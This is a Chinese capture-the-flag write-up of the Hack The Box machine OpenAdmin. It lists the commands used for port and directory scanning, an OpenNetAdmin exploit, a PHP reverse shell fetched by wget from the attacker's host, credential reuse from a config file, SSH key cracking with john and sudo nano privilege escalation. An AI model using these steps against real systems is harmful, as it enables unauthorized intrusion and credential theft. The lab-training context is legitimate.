渗透测试:HTB之OpenAdmin

文章目录

    • 简介
    • 前期准备工作
    • 查看Web页面
    • 获取jimmy用户
    • 获取joanna用户
    • 获取root

简介

这是萌新第一次尝试的渗透测试,中间走了很多弯路,查了很多资料,但学到了很多。有兴趣的同学我们可以一起讨论。

前期准备工作

1.更改/etc/hosts。添加一行解析地址(如图最后一行),只是图方便,毕竟经常输IP不如输主机名来的方便。
host
2.使用nmap进行端口扫描。nmap -A openadmin
渗透测试:HTB之OpenAdmin_第1张图片
服务器开放了22和80端口。那么突破口可能就在80端口了。

查看Web页面

1.打开浏览器查看http://openadmin/,没有发现什么特别的。使用dirb扫描Web目录。命令:dirb http://openadmin/
渗透测试:HTB之OpenAdmin_第2张图片
最后扫描的结果有两个子目录artworkmusic。分别在浏览器打开,发现artwork没什么特别明显的。但在music目下,发现右上角login按钮有页面跳转。
渗透测试:HTB之OpenAdmin_第3张图片
点击进去跳转到了http://openadmin/ona
渗透测试:HTB之OpenAdmin_第4张图片
右上角登录管理员账户,随便试了下账号admin和密码admin,竟然登录成功。经过一段时间摸索后发现这个管理员账号没啥特殊的,放弃这条路。
2.破解opennetadmin。发现页面标题为opennetadmin,在kali运行searchsploit opennetadmin
渗透测试:HTB之OpenAdmin_第5张图片
opennetadmin漏洞版本号正好和靶机一样。
可以发现破解工具有msf和sh两个版本。之前尝试了msf但是一直提示“no session created”。之后使用sh版本,运行命令searchsploit -m 47691将该sh文件下载到当前目录。
渗透测试:HTB之OpenAdmin_第6张图片
cat一下这个sh文件,发现只需要一个参数
渗透测试:HTB之OpenAdmin_第7张图片
结合之前msf破解的说明,猜想这个参数应为http://openadmin/ona/login.php(这个sh文件运行会报错,但将代码重新复制粘贴就好了,原因不明,有懂的大佬麻烦提示下)。将代码重新粘贴进新的sh文件1.sh,运行命令./1.sh http://openadmin/ona/login.php
渗透测试:HTB之OpenAdmin_第8张图片
拿到了shell。pwd查看当前路径为/opt/ona/www,whoami查看当前用户为www-data

获取jimmy用户

1.因为之前特意看过opennetadmin官方帮助文档,所以清楚里面会设置数据库账号和密码。但是当下先上传个木马,来个反向shell
php反向shell帮助文档。
下载好后,按照文档给的提示,在php文件中将ip和端口改成自己的(文件名我改成了p.php,端口设置为6666)。运行python3 -m http.server 80,在靶机的shell中运行wget http://10.10.14.32/p.php.
渗透测试:HTB之OpenAdmin_第9张图片
如图已成功上传,开启本机监听端口,nc -v -n -l -p 6666.并在浏览器访问http://openadmin/ona/p.php。若本机显示如下表示反向shell成功。
渗透测试:HTB之OpenAdmin_第10张图片
2.寻找数据库账号和密码,在/opt/ona/www/local/config/目下有个databases_settings.inc.php。cat一下。
渗透测试:HTB之OpenAdmin_第11张图片
拿到了MySQL用户为ona_sys的密码,使用这个密码尝试登陆jimmy用户和joanna用户,jimmy登陆成功!(之后发现在/etc/apache2/sites-available/openadmin.conf里有相关提示)使用ssh登陆jimmy。

获取joanna用户

1.进入jimmy家目录下并没有user.txt文件,那么只有在joanna下了。继续收集信息。在/var/www下发现以jimmy为所有者的文件夹。
ls

cd internal
ls -l

渗透测试:HTB之OpenAdmin_第12张图片
其中main.php有重要信息
渗透测试:HTB之OpenAdmin_第13张图片
输出joanna用户的ssh密钥,下面的Don forget your “ninja” passwrod的提醒也很醒目,猜想可能是ssh密钥的密码。但是很显然在浏览器无法访问这个文件,文件名为internal,内部?内网?而且这个文件所有者是jimmy理论上无法得到joanna家目下的信息。
2.在这一步卡了许久,最后在/etc/apache2/sites-available/下发现了突破口。
渗透测试:HTB之OpenAdmin_第14张图片
打开internal.conf
渗透测试:HTB之OpenAdmin_第15张图片
当看到中间的AssignUserID joanna joanna明白了,应该是“借用”了joanna用户的权限执行那个php文件。访问端口为52846,浏览器打开访问之连接失败,nmap -p52846 openadmin端口关闭。这时又想起internal这个单词,谨慎的在靶机命令行输入curl http://127.0.0.1:52846/main.php
渗透测试:HTB之OpenAdmin_第16张图片
成功。
这里可以将main.php里的shell代码改成“cat /home/joanna/user.txt”可以直接输出flag。但是不拿到joanna用户无法获取root。
3.将密钥复制到本机上,之前提示的“ninja”应该是密钥密码。使用密钥登录ssh:

ssh -i ssh.txt -l joanna openadmin

输入“ninja”,错误?再输一遍还是错误。
那就只能破解密钥。
先转成john格式,再使用字典爆破。

python /usr/share/john/ssh2john.py ssh.txt > sshjohn
john --wordlist=/usr/share/wordlists/rockyou.txt sshjohn

得到密码“bloodninjas”(这提示跟没给一样…)
渗透测试:HTB之OpenAdmin_第17张图片
继续登录

ssh -i ssh.txt -l joanna openadmin

输入“bloodninjas”进去了,拿到一个flag。
猫一下

获取root

1.因为在Hackthebox上看到这个靶机很多人觉得获取root很简单,所以觉得获取root的flag应该不复杂。sudo?cowroot?还是什么
2.sudo -l
sudo
可以输出信息,说明joanna可以执行sudo,最一行,用户joanna可以不使用密码sudo运行那两个文件。(滑稽)

sudo /bin/nano /opt/priv

Ctrl+R读取文件,输入/root/root.txt
马上
回车,root的flag就获取到了。
渗透测试:HTB之OpenAdmin_第18张图片

你可能感兴趣的:(安全)